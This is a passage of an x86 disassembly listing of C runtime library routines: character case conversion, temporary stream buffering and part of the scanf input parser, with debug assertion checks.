push offset dword_4DB45C
call near ptr 2840CCAh
nop
cmp dword_4DB458, 0
jz short loc_4205A9
push offset dword_4DB45C
nop
call near ptr 2840C7Bh
push 13h
call sub_41B780
add esp, 4
mov [ebp+var_4], 1
jmp short loc_4205B0
; ---------------------------------------------------------------------------
loc_4205A9: ; CODE XREF: sub_420550+39j
mov [ebp+var_4], 0
loc_4205B0: ; CODE XREF: sub_420550+57j
mov ecx, [ebp+arg_0]
push ecx
call sub_4205F0
add esp, 4
mov [ebp+arg_0], eax
cmp [ebp+var_4], 0
jz short loc_4205D1
push 13h
call sub_41B820
add esp, 4
jmp short loc_4205DC
; ---------------------------------------------------------------------------
loc_4205D1: ; CODE XREF: sub_420550+73j
push offset dword_4DB45C
call near ptr 2840C7Bh
nop
loc_4205DC: ; CODE XREF: sub_420550+7Fj
mov eax, [ebp+arg_0]
loc_4205DF: ; CODE XREF: sub_420550+25j
mov esp, ebp
pop ebp
retn
sub_420550 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4205F0 proc near ; CODE XREF: sub_420550+64p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_7 = byte ptr -7
var_6 = byte ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
cmp dword_4DB1B8, 0
jnz short loc_42061C
cmp [ebp+arg_0], 61h
jl short loc_420614
cmp [ebp+arg_0], 7Ah
jg short loc_420614
mov eax, [ebp+arg_0]
sub eax, 20h
mov [ebp+arg_0], eax
loc_420614: ; CODE XREF: sub_4205F0+13j
; sub_4205F0+19j
mov eax, [ebp+arg_0]
jmp loc_420717
; ---------------------------------------------------------------------------
loc_42061C: ; CODE XREF: sub_4205F0+Dj
cmp [ebp+arg_0], 100h
jge short loc_420663
cmp dword_443B70, 1
jle short loc_420641
push 2
mov ecx, [ebp+arg_0]
push ecx
call sub_41DA90
add esp, 8
mov [ebp+var_10], eax
jmp short loc_420655
; ---------------------------------------------------------------------------
loc_420641: ; CODE XREF: sub_4205F0+3Cj
mov edx, [ebp+arg_0]
mov eax, off_443C7C
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 2
mov [ebp+var_10], ecx
loc_420655: ; CODE XREF: sub_4205F0+4Fj
cmp [ebp+var_10], 0
jnz short loc_420663
mov eax, [ebp+arg_0]
jmp loc_420717
; ---------------------------------------------------------------------------
loc_420663: ; CODE XREF: sub_4205F0+33j
; sub_4205F0+69j
mov edx, [ebp+arg_0]
sar edx, 8
and edx, 0FFh
and edx, 0FFh
mov eax, off_443C7C
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 8000h
test ecx, ecx
jz short loc_4206AC
mov edx, [ebp+arg_0]
sar edx, 8
and edx, 0FFh
mov [ebp+var_8], dl
mov al, byte ptr [ebp+arg_0]
mov [ebp+var_7], al
mov [ebp+var_6], 0
mov [ebp+var_4], 2
jmp short loc_4206BD
; ---------------------------------------------------------------------------
loc_4206AC: ; CODE XREF: sub_4205F0+98j
mov cl, byte ptr [ebp+arg_0]
mov [ebp+var_8], cl
mov [ebp+var_7], 0
mov [ebp+var_4], 1
loc_4206BD: ; CODE XREF: sub_4205F0+BAj
push 1
push 0
push 3
lea edx, [ebp+var_C]
push edx
mov eax, [ebp+var_4]
push eax
lea ecx, [ebp+var_8]
push ecx
push 200h
mov edx, dword_4DB1B8
push edx
call sub_425B90
add esp, 20h
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_4206F1
mov eax, [ebp+arg_0]
jmp short loc_420717
; ---------------------------------------------------------------------------
loc_4206F1: ; CODE XREF: sub_4205F0+FAj
cmp [ebp+var_4], 1
jnz short loc_420701
mov eax, [ebp+var_C]
and eax, 0FFh
jmp short loc_420717
; ---------------------------------------------------------------------------
loc_420701: ; CODE XREF: sub_4205F0+105j
mov eax, [ebp+var_C]
and eax, 0FFh
mov ecx, [ebp+var_C+1]
and ecx, 0FFh
shl ecx, 8
or eax, ecx
loc_420717: ; CODE XREF: sub_4205F0+27j
; sub_4205F0+6Ej ...
mov esp, ebp
pop ebp
retn
sub_4205F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420720 proc near ; CODE XREF: sub_418240+79p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
loc_420729: ; CODE XREF: sub_420720+31j
cmp [ebp+arg_0], 0
jnz short loc_42074D
push offset dword_4334B4
push 0
push 41h
push offset a_sftbuf_c ; "_sftbuf.c"
push 2
call sub_41AB10
add esp, 14h
cmp eax, 1
jnz short loc_42074D
int 3 ; Trap to Debugger
loc_42074D: ; CODE XREF: sub_420720+Dj
; sub_420720+2Aj
xor eax, eax
test eax, eax
jnz short loc_420729
mov ecx, [ebp+arg_0]
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
mov eax, [edx+10h]
push eax
call sub_4285B0
add esp, 4
test eax, eax
jnz short loc_420773
xor eax, eax
jmp loc_420870
; ---------------------------------------------------------------------------
loc_420773: ; CODE XREF: sub_420720+4Aj
cmp [ebp+var_4], offset dword_4438E0
jnz short loc_420785
mov [ebp+var_8], 0
jmp short loc_42079E
; ---------------------------------------------------------------------------
loc_420785: ; CODE XREF: sub_420720+5Aj
cmp [ebp+var_4], offset dword_443900
jnz short loc_420797
mov [ebp+var_8], 1
jmp short loc_42079E
; ---------------------------------------------------------------------------
loc_420797: ; CODE XREF: sub_420720+6Cj
xor eax, eax
jmp loc_420870
; ---------------------------------------------------------------------------
loc_42079E: ; CODE XREF: sub_420720+63j
; sub_420720+75j
mov ecx, dword_4DB110
add ecx, 1
mov dword_4DB110, ecx
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
and eax, 10Ch
test eax, eax
jz short loc_4207C3
xor eax, eax
jmp loc_420870
; ---------------------------------------------------------------------------
loc_4207C3: ; CODE XREF: sub_420720+9Aj
mov ecx, [ebp+var_8]
cmp dword_4DB19C[ecx*4], 0
jnz short loc_42082A
push 5Eh
push offset a_sftbuf_c ; "_sftbuf.c"
push 2
push 1000h
call sub_414DD0
add esp, 10h
mov edx, [ebp+var_8]
mov dword_4DB19C[edx*4], eax
mov eax, [ebp+var_8]
cmp dword_4DB19C[eax*4], 0
jnz short loc_42082A
mov ecx, [ebp+var_4]
add ecx, 14h
mov edx, [ebp+var_4]
mov [edx+8], ecx
mov eax, [ebp+var_4]
mov ecx, [ebp+var_4]
mov edx, [ecx+8]
mov [eax], edx
mov eax, [ebp+var_4]
mov dword ptr [eax+18h], 2
mov ecx, [ebp+var_4]
mov dword ptr [ecx+4], 2
jmp short loc_420859
; ---------------------------------------------------------------------------
loc_42082A: ; CODE XREF: sub_420720+AEj
; sub_420720+DBj
mov edx, [ebp+var_4]
mov eax, [ebp+var_8]
mov ecx, dword_4DB19C[eax*4]
mov [edx+8], ecx
mov edx, [ebp+var_4]
mov eax, [ebp+var_4]
mov ecx, [eax+8]
mov [edx], ecx
mov edx, [ebp+var_4]
mov dword ptr [edx+18h], 1000h
mov eax, [ebp+var_4]
mov dword ptr [eax+4], 1000h
loc_420859: ; CODE XREF: sub_420720+108j
mov ecx, [ebp+var_4]
mov edx, [ecx+0Ch]
or edx, 1102h
mov eax, [ebp+var_4]
mov [eax+0Ch], edx
mov eax, 1
loc_420870: ; CODE XREF: sub_420720+4Ej
; sub_420720+79j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_420720 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420880 proc near ; CODE XREF: sub_418240+A3p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
loc_420887: ; CODE XREF: sub_420880+38j
cmp [ebp+arg_0], 0
jz short loc_4208B4
cmp [ebp+arg_0], 1
jz short loc_4208B4
push offset aFlag0Flag1 ; "flag == 0 || flag == 1"
push 0
push 0A1h
push offset a_sftbuf_c ; "_sftbuf.c"
push 2
call sub_41AB10
add esp, 14h
cmp eax, 1
jnz short loc_4208B4
int 3 ; Trap to Debugger
loc_4208B4: ; CODE XREF: sub_420880+Bj
; sub_420880+11j ...
xor eax, eax
test eax, eax
jnz short loc_420887
mov ecx, [ebp+arg_4]
mov [ebp+var_4], ecx
cmp [ebp+arg_0], 0
jz short loc_42090D
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
and eax, 1000h
test eax, eax
jz short loc_42090D
mov ecx, [ebp+var_4]
push ecx
call sub_41B420
add esp, 4
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
and ah, 0EEh
mov ecx, [ebp+var_4]
mov [ecx+0Ch], eax
mov edx, [ebp+var_4]
mov dword ptr [edx+18h], 0
mov eax, [ebp+var_4]
mov dword ptr [eax], 0
mov ecx, [ebp+var_4]
mov dword ptr [ecx+8], 0
loc_42090D: ; CODE XREF: sub_420880+44j
; sub_420880+53j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_420880 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420920 proc near ; CODE XREF: sub_418AF0+A2p
var_224 = dword ptr -224h
var_220 = dword ptr -220h
var_21C = dword ptr -21Ch
var_218 = dword ptr -218h
var_214 = dword ptr -214h
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_208 = dword ptr -208h
var_204 = dword ptr -204h
var_200 = dword ptr -200h
var_1FC = dword ptr -1FCh
var_1F8 = dword ptr -1F8h
var_1F4 = dword ptr -1F4h
var_1F0 = byte ptr -1F0h
var_1EF = byte ptr -1EFh
var_1EC = dword ptr -1ECh
var_1E8 = dword ptr -1E8h
var_1E4 = dword ptr -1E4h
var_1E0 = dword ptr -1E0h
var_1DC = dword ptr -1DCh
var_1D8 = dword ptr -1D8h
var_1D4 = dword ptr -1D4h
var_1D0 = byte ptr -1D0h
var_70 = byte ptr -70h
var_6C = dword ptr -6Ch
var_68 = byte ptr -68h
var_64 = byte ptr -64h
var_60 = byte ptr -60h
var_55 = byte ptr -55h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = byte ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_14 = byte ptr -14h
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = word ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 224h
push ebx
push esi
push edi
loc_42092C: ; CODE XREF: sub_420920+37j
cmp [ebp+arg_4], 0
jnz short loc_420953
push offset aFormatNull ; "format != NULL"
push 0
push 109h
push offset aInput_c ; "input.c"
push 2
call sub_41AB10
add esp, 14h
cmp eax, 1
jnz short loc_420953
int 3 ; Trap to Debugger
loc_420953: ; CODE XREF: sub_420920+10j
; sub_420920+30j
xor eax, eax
test eax, eax
jnz short loc_42092C
loc_420959: ; CODE XREF: sub_420920+64j
cmp [ebp+arg_0], 0
jnz short loc_420980
push offset dword_4334A4
push 0
push 10Ch
push offset aInput_c ; "input.c"
push 2
call sub_41AB10
add esp, 14h
cmp eax, 1
jnz short loc_420980
int 3 ; Trap to Debugger
loc_420980: ; CODE XREF: sub_420920+3Dj
; sub_420920+5Dj
xor ecx, ecx
test ecx, ecx
jnz short loc_420959
mov [ebp+var_28], 0
movsx edx, [ebp+var_28]
mov [ebp+var_20], edx
mov eax, [ebp+var_20]
mov [ebp+var_34], eax
loc_420997: ; CODE XREF: sub_420920:loc_421C05j
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx]
test edx, edx
jz loc_421C0A
cmp dword_443B70, 1
jle short loc_4209C9
push 8
mov eax, [ebp+arg_4]
xor ecx, ecx
mov cl, [eax]
push ecx
call sub_41DA90
add esp, 8
mov [ebp+var_1F8], eax
jmp short loc_4209E5
; ---------------------------------------------------------------------------
loc_4209C9: ; CODE XREF: sub_420920+8Dj
mov edx, [ebp+arg_4]
xor eax, eax
mov al, [edx]
mov ecx, off_443C7C
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 8
mov [ebp+var_1F8], edx
loc_4209E5: ; CODE XREF: sub_420920+A7j
cmp [ebp+var_1F8], 0
jz short loc_420A33
mov eax, [ebp+var_20]
sub eax, 1
mov [ebp+var_20], eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+arg_0]
push edx
lea eax, [ebp+var_20]
push eax
call sub_421DE0
add esp, 8
push eax
call sub_421DC0
add esp, 8
loc_420A14: ; CODE XREF: sub_420920+111j
mov ecx, [ebp+arg_4]
add ecx, 1
mov [ebp+arg_4], ecx
mov edx, [ebp+arg_4]
xor eax, eax
mov al, [edx]
push eax
call sub_428A50
add esp, 4
test eax, eax
jz short loc_420A33
jmp short loc_420A14
; ---------------------------------------------------------------------------
loc_420A33: ; CODE XREF: sub_420920+CCj
; sub_420920+10Fj
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx]
cmp edx, 25h
jnz loc_421AEE
mov [ebp+var_40], 0
mov byte ptr [ebp+var_8], 0
mov [ebp+var_6C], 0
mov eax, [ebp+var_6C]
mov [ebp+var_1E8], eax
mov ecx, [ebp+var_1E8]
mov [ebp+var_1C], ecx
mov [ebp+var_10], 0
mov dl, [ebp+var_10]
mov [ebp+var_68], dl
mov al, [ebp+var_68]
mov [ebp+var_70], al
mov cl, [ebp+var_70]
mov [ebp+var_18], cl
mov dl, [ebp+var_18]
mov [ebp+var_64], dl
mov [ebp+var_14], 0
mov [ebp+var_38], 1
mov [ebp+var_1DC], 0
loc_420A95: ; CODE XREF: sub_420920:loc_420BEDj
movsx eax, [ebp+var_18]
test eax, eax
jnz loc_420BF2
mov ecx, [ebp+arg_4]
add ecx, 1
mov [ebp+arg_4], ecx
mov edx, [ebp+arg_4]
xor eax, eax
mov al, [edx]
mov [ebp+var_C], eax
cmp dword_443B70, 1
jle short loc_420AD9
push 4
mov ecx, [ebp+var_C]
and ecx, 0FFh
push ecx
call sub_41DA90
add esp, 8
mov [ebp+var_1FC], eax
jmp short loc_420AF6
; ---------------------------------------------------------------------------
loc_420AD9: ; CODE XREF: sub_420920+19Bj
mov edx, [ebp+var_C]
and edx, 0FFh
mov eax, off_443C7C
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 4
mov [ebp+var_1FC], ecx
loc_420AF6: ; CODE XREF: sub_420920+1B7j
cmp [ebp+var_1FC], 0
jz short loc_420B26
mov edx, [ebp+var_1E8]
add edx, 1
mov [ebp+var_1E8], edx
mov eax, [ebp+var_1C]
mov ecx, [ebp+var_1C]
lea edx, [ecx+eax*4]
mov eax, [ebp+var_C]
lea ecx, [eax+edx*2-30h]
mov [ebp+var_1C], ecx
jmp loc_420BED
; ---------------------------------------------------------------------------
loc_420B26: ; CODE XREF: sub_420920+1DDj
mov edx, [ebp+var_C]
mov [ebp+var_200], edx
mov eax, [ebp+var_200]
sub eax, 2Ah
mov [ebp+var_200], eax
cmp [ebp+var_200], 4Dh
ja loc_420BE5
mov edx, [ebp+var_200]
xor ecx, ecx
mov cl, byte_421C68[edx]
jmp off_421C48[ecx*4]
loc_420B60: ; DATA XREF: ___:00421C4Co
jmp loc_420BED
; ---------------------------------------------------------------------------
loc_420B65: ; CODE XREF: sub_420920+239j
; DATA XREF: ___:00421C58o
mov al, [ebp+var_38]
sub al, 1
mov [ebp+var_38], al
mov cl, [ebp+var_14]
sub cl, 1
mov [ebp+var_14], cl
jmp short loc_420BED
; ---------------------------------------------------------------------------
loc_420B78: ; CODE XREF: sub_420920+239j
; DATA XREF: ___:00421C50o
mov edx, [ebp+arg_4]
xor eax, eax
mov al, [edx+1]
cmp eax, 36h
jnz short loc_420BBA
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx+2]
cmp edx, 34h
jnz short loc_420BBA
mov eax, [ebp+arg_4]
add eax, 2
mov [ebp+arg_4], eax
mov ecx, [ebp+var_1DC]
add ecx, 1
mov [ebp+var_1DC], ecx
mov [ebp+var_30], 0
mov [ebp+var_2C], 0
jmp short loc_420BED
; ---------------------------------------------------------------------------
loc_420BBA: ; CODE XREF: sub_420920+263j
; sub_420920+270j
jmp short loc_420BE5
; ---------------------------------------------------------------------------
loc_420BBC: ; CODE XREF: sub_420920+239j
; DATA XREF: ___:00421C54o
mov dl, [ebp+var_38]
add dl, 1
mov [ebp+var_38], dl
jmp short loc_420BED
; ---------------------------------------------------------------------------
loc_420BC7: ; CODE XREF: sub_420920+239j
; DATA XREF: ___:00421C5Co
mov al, [ebp+var_38]
add al, 1
mov [ebp+var_38], al
loc_420BCF: ; CODE XREF: sub_420920+239j
; DATA XREF: ___:00421C60o
mov cl, [ebp+var_14]
add cl, 1
mov [ebp+var_14], cl
jmp short loc_420BED
; ---------------------------------------------------------------------------
loc_420BDA: ; CODE XREF: sub_420920+239j
; DATA XREF: ___:off_421C48o
mov dl, [ebp+var_70]
add dl, 1
mov [ebp+var_70], dl
jmp short loc_420BED
; ---------------------------------------------------------------------------
loc_420BE5: ; CODE XREF: sub_420920+225j
; sub_420920+239j ...
mov al, [ebp+var_18]
add al, 1
mov [ebp+var_18], al
loc_420BED: ; CODE XREF: sub_420920+201j
; sub_420920:loc_420B60j ...
jmp loc_420A95
; ---------------------------------------------------------------------------
loc_420BF2: ; CODE XREF: sub_420920+17Bj
movsx ecx, [ebp+var_70]
test ecx, ecx
jnz short loc_420C15
mov edx, [ebp+arg_8]
mov [ebp+var_1D4], edx
mov eax, [ebp+arg_8]
add eax, 4
mov [ebp+arg_8], eax
mov ecx, [ebp+arg_8]
mov edx, [ecx-4]
mov [ebp+var_3C], edx
loc_420C15: ; CODE XREF: sub_420920+2D8j
mov [ebp+var_18], 0
movsx eax, [ebp+var_14]
test eax, eax
jnz short loc_420C4C
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx]
cmp edx, 53h
jz short loc_420C39
mov eax, [ebp+arg_4]
xor ecx, ecx
mov cl, [eax]
cmp ecx, 43h
jnz short loc_420C44
loc_420C39: ; CODE XREF: sub_420920+30Bj
mov dl, [ebp+var_14]
add dl, 1
mov [ebp+var_14], dl
jmp short loc_420C4C
; ---------------------------------------------------------------------------
loc_420C44: ; CODE XREF: sub_420920+317j
mov al, [ebp+var_14]
sub al, 1
mov [ebp+var_14], al
loc_420C4C: ; CODE XREF: sub_420920+2FFj
; sub_420920+322j
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx]
or edx, 20h
mov [ebp+var_C], edx
cmp [ebp+var_C], 6Eh
jz short loc_420C9E
cmp [ebp+var_C], 63h
jz short loc_420C83
cmp [ebp+var_C], 7Bh
jz short loc_420C83
mov eax, [ebp+arg_0]
push eax
lea ecx, [ebp+var_20]
push ecx
call sub_421DE0
add esp, 8
mov [ebp+var_1D8], eax
jmp short loc_420C9E
; ---------------------------------------------------------------------------
loc_420C83: ; CODE XREF: sub_420920+343j
; sub_420920+349j
mov edx, [ebp+var_20]
add edx, 1
mov [ebp+var_20], edx
mov eax, [ebp+arg_0]
push eax
call sub_421D60
add esp, 4
mov [ebp+var_1D8], eax
loc_420C9E: ; CODE XREF: sub_420920+33Dj
; sub_420920+361j
cmp [ebp+var_1E8], 0
jz short loc_420CB1
cmp [ebp+var_1C], 0
jz loc_421ABF
loc_420CB1: ; CODE XREF: sub_420920+385j
mov ecx, [ebp+var_C]
mov [ebp+var_204], ecx
mov edx, [ebp+var_204]
sub edx, 63h
mov [ebp+var_204], edx
cmp [ebp+var_204], 18h
ja loc_421A6A
mov ecx, [ebp+var_204]
xor eax, eax
mov al, byte_421CDE[ecx]
jmp off_421CB6[eax*4]
loc_420CEB: ; DATA XREF: ___:off_421CB6o
cmp [ebp+var_1E8], 0
jnz short loc_420D0C
mov edx, [ebp+var_1E8]
add edx, 1
mov [ebp+var_1E8], edx
mov eax, [ebp+var_1C]
add eax, 1
mov [ebp+var_1C], eax
loc_420D0C: ; CODE XREF: sub_420920+3D2j
movsx ecx, [ebp+var_14]
test ecx, ecx
jle short loc_420D1D
mov dl, [ebp+var_64]
add dl, 1
mov [ebp+var_64], dl
loc_420D1D: ; CODE XREF: sub_420920+3F2j
mov [ebp+var_1E0], offset dword_444100
mov al, [ebp+var_10]
sub al, 1
mov [ebp+var_10], al
jmp short loc_420DA0
; ---------------------------------------------------------------------------
loc_420D31: ; CODE XREF: sub_420920+3C4j
; DATA XREF: ___:00421CCEo
movsx ecx, [ebp+var_14]
test ecx, ecx
jle short loc_420D42
mov dl, [ebp+var_64]
add dl, 1
mov [ebp+var_64], dl
loc_420D42: ; CODE XREF: sub_420920+417j
mov [ebp+var_1E0], offset dword_4440F8
mov al, [ebp+var_10]
sub al, 1
mov [ebp+var_10], al
jmp short loc_420DA0
; ---------------------------------------------------------------------------
loc_420D56: ; CODE XREF: sub_420920+3C4j
; DATA XREF: ___:00421CD6o
movsx ecx, [ebp+var_14]
test ecx, ecx
jle short loc_420D67
mov dl, [ebp+var_64]
add dl, 1
mov [ebp+var_64], dl
loc_420D67: ; CODE XREF: sub_420920+43Cj
mov eax, [ebp+arg_4]
add eax, 1
mov [ebp+arg_4], eax
mov ecx, [ebp+arg_4]
mov [ebp+var_1E0], ecx
mov edx, [ebp+var_1E0]
xor eax, eax
mov al, [edx]
cmp eax, 5Eh
jnz short loc_420DA0
mov ecx, [ebp+var_1E0]
add ecx, 1
mov [ebp+var_1E0], ecx
mov dl, [ebp+var_10]
sub dl, 1
mov [ebp+var_10], dl
loc_420DA0: ; CODE XREF: sub_420920+40Fj
; sub_420920+434j ...
push 20h
push 0
lea eax, [ebp+var_60]
push eax
call sub_417070
add esp, 0Ch
cmp [ebp+var_C], 7Bh
jnz short loc_420DDC
mov ecx, [ebp+var_1E0]
xor edx, edx
mov dl, [ecx]
cmp edx, 5Dh
jnz short loc_420DDC
mov byte ptr [ebp+var_8], 5Dh
mov eax, [ebp+var_1E0]
add eax, 1
mov [ebp+var_1E0], eax
mov [ebp+var_55], 20h
loc_420DDC: ; CODE XREF: sub_420920+494j
; sub_420920+4A3j ...
mov ecx, [ebp+var_1E0]
xor edx, edx
mov dl, [ecx]
cmp edx, 5Dh
jz loc_420F47
mov eax, [ebp+var_1E0]
mov cl, [eax]
mov byte ptr [ebp+var_1EC], cl
mov edx, [ebp+var_1E0]
add edx, 1
mov [ebp+var_1E0], edx
mov eax, [ebp+var_1EC]
and eax, 0FFh
cmp eax, 2Dh
jnz short loc_420E38
mov ecx, [ebp+var_8]
and ecx, 0FFh
test ecx, ecx
jz short loc_420E38
mov edx, [ebp+var_1E0]
xor eax, eax
mov al, [edx]
cmp eax, 5Dh
jnz short loc_420E7E
loc_420E38: ; CODE XREF: sub_420920+4FAj
; sub_420920+507j
mov cl, byte ptr [ebp+var_1EC]
mov byte ptr [ebp+var_8], cl
mov edx, [ebp+var_8]
and edx, 0FFh
sar edx, 3
mov ecx, [ebp+var_1EC]
and ecx, 0FFh
and ecx, 7
mov eax, 1
shl eax, cl
mov cl, [ebp+edx+var_60]
or cl, al
mov edx, [ebp+var_8]
and edx, 0FFh
sar edx, 3
mov [ebp+edx+var_60], cl
jmp loc_420F42
; ---------------------------------------------------------------------------
loc_420E7E: ; CODE XREF: sub_420920+516j
mov eax, [ebp+var_1E0]
mov cl, [eax]
mov byte ptr [ebp+var_1EC], cl
mov edx, [ebp+var_1E0]
add edx, 1
mov [ebp+var_1E0], edx
mov eax, [ebp+var_8]
and eax, 0FFh
mov ecx, [ebp+var_1EC]
and ecx, 0FFh
cmp eax, ecx
jge short loc_420EBE
mov dl, byte ptr [ebp+var_1EC]
mov byte ptr [ebp+var_24], dl
jmp short loc_420ECD
; ---------------------------------------------------------------------------
loc_420EBE: ; CODE XREF: sub_420920+591j
mov al, byte ptr [ebp+var_8]
mov byte ptr [ebp+var_24], al
mov cl, byte ptr [ebp+var_1EC]
mov byte ptr [ebp+var_8], cl
loc_420ECD: ; CODE XREF: sub_420920+59Cj
mov dl, byte ptr [ebp+var_8]
mov byte ptr [ebp+var_1EC], dl
jmp short loc_420EE6
; ---------------------------------------------------------------------------
loc_420ED8: ; CODE XREF: sub_420920+61Cj
mov al, byte ptr [ebp+var_1EC]
add al, 1
mov byte ptr [ebp+var_1EC], al
loc_420EE6: ; CODE XREF: sub_420920+5B6j
mov ecx, [ebp+var_1EC]
and ecx, 0FFh
mov edx, [ebp+var_24]
and edx, 0FFh
cmp ecx, edx
jg short loc_420F3E
mov eax, [ebp+var_1EC]
and eax, 0FFh
sar eax, 3
mov ecx, [ebp+var_1EC]
and ecx, 0FFh
and ecx, 7
mov edx, 1
shl edx, cl
mov al, [ebp+eax+var_60]
or al, dl
mov ecx, [ebp+var_1EC]
and ecx, 0FFh
sar ecx, 3
mov [ebp+ecx+var_60], al
jmp short loc_420ED8
; ---------------------------------------------------------------------------
loc_420F3E: ; CODE XREF: sub_420920+5DDj
mov byte ptr [ebp+var_8], 0
loc_420F42: ; CODE XREF: sub_420920+559j
jmp loc_420DDC
; ---------------------------------------------------------------------------
loc_420F47: ; CODE XREF: sub_420920+4C9j
mov edx, [ebp+var_1E0]
xor eax, eax
mov al, [edx]
test eax, eax
jnz short loc_420F5A
jmp loc_421C0A
; ---------------------------------------------------------------------------
loc_420F5A: ; CODE XREF: sub_420920+633j
cmp [ebp+var_C], 7Bh
jnz short loc_420F69
mov ecx, [ebp+var_1E0]
mov [ebp+arg_4], ecx
loc_420F69: ; CODE XREF: sub_420920+63Ej
mov edx, [ebp+var_3C]
mov [ebp+var_1E4], edx
mov eax, [ebp+var_20]
sub eax, 1
mov [ebp+var_20], eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+var_1D8]
push edx
call sub_421DC0
add esp, 8
loc_420F8E: ; CODE XREF: sub_420920:loc_4210D0j
cmp [ebp+var_1E8], 0
jz short loc_420FAB
mov eax, [ebp+var_1C]
mov ecx, [ebp+var_1C]
sub ecx, 1
mov [ebp+var_1C], ecx
test eax, eax
jz loc_4210D5
loc_420FAB: ; CODE XREF: sub_420920+675j
mov edx, [ebp+var_20]
add edx, 1
mov [ebp+var_20], edx
mov eax, [ebp+arg_0]
push eax
call sub_421D60
add esp, 4
mov [ebp+var_1D8], eax
cmp [ebp+var_1D8], 0FFFFFFFFh
jz loc_4210B2
mov ecx, [ebp+var_1D8]
sar ecx, 3
movsx edx, [ebp+ecx+var_60]
movsx eax, [ebp+var_10]
xor edx, eax
mov ecx, [ebp+var_1D8]
and ecx, 7
mov eax, 1
shl eax, cl
and edx, eax
test edx, edx
jz loc_4210B2
movsx ecx, [ebp+var_70]
test ecx, ecx
jnz loc_4210A1
movsx edx, [ebp+var_64]
test edx, edx
jz short loc_42108B
mov al, byte ptr [ebp+var_1D8]
mov [ebp+var_1F0], al
mov ecx, [ebp+var_1D8]
and ecx, 0FFh
mov edx, off_443C7C
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 8000h
test eax, eax
jz short loc_42105D
mov ecx, [ebp+var_20]
add ecx, 1
mov [ebp+var_20], ecx
mov edx, [ebp+arg_0]
push edx
call sub_421D60
add esp, 4
mov [ebp+var_1EF], al
loc_42105D: ; CODE XREF: sub_420920+720j
mov eax, dword_443B70
push eax
lea ecx, [ebp+var_1F0]
push ecx
lea edx, [ebp+var_4]
push edx
call sub_428710
add esp, 0Ch
mov eax, [ebp+var_3C]
mov cx, [ebp+var_4]
mov [eax], cx
mov edx, [ebp+var_3C]
add edx, 2
mov [ebp+var_3C], edx
jmp short loc_42109F
; ---------------------------------------------------------------------------
loc_42108B: ; CODE XREF: sub_420920+6F3j
mov eax, [ebp+var_3C]
mov cl, byte ptr [ebp+var_1D8]
mov [eax], cl
mov edx, [ebp+var_3C]
add edx, 1
mov [ebp+var_3C], edx
loc_42109F: ; CODE XREF: sub_420920+769j
jmp short loc_4210B0
; ---------------------------------------------------------------------------
loc_4210A1: ; CODE XREF: sub_420920+6E7j
mov eax, [ebp+var_1E4]
add eax, 1
mov [ebp+var_1E4], eax
loc_4210B0: ; CODE XREF: sub_420920:loc_42109Fj
jmp short loc_4210D0
; ---------------------------------------------------------------------------
loc_4210B2: ; CODE XREF: sub_420920+6ADj
; sub_420920+6DBj
mov ecx, [ebp+var_20]
sub ecx, 1
mov [ebp+var_20], ecx
mov edx, [ebp+arg_0]
push edx
mov eax, [ebp+var_1D8]
push eax
call sub_421DC0
add esp, 8
jmp short loc_4210D5
; ---------------------------------------------------------------------------
loc_4210D0: ; CODE XREF: sub_420920:loc_4210B0j
jmp loc_420F8E
; ---------------------------------------------------------------------------
loc_4210D5: ; CODE XREF: sub_420920+685j
; sub_420920+7AEj
mov ecx, [ebp+var_1E4]
cmp ecx, [ebp+var_3C]
jz short loc_421111
movsx edx, [ebp+var_70]
test edx, edx
jnz short loc_42110F
mov eax, [ebp+var_34]
add eax, 1
mov [ebp+var_34], eax
cmp [ebp+var_C], 63h
jz short loc_42110F
movsx ecx, [ebp+var_64]
test ecx, ecx
jz short loc_421109
mov edx, [ebp+var_3C]
mov word ptr [edx], 0
jmp short loc_42110F
; ---------------------------------------------------------------------------
loc_421109: ; CODE XREF: sub_420920+7DDj
mov eax, [ebp+var_3C]
mov byte ptr [eax], 0
loc_42110F: ; CODE XREF: sub_420920+7C6j
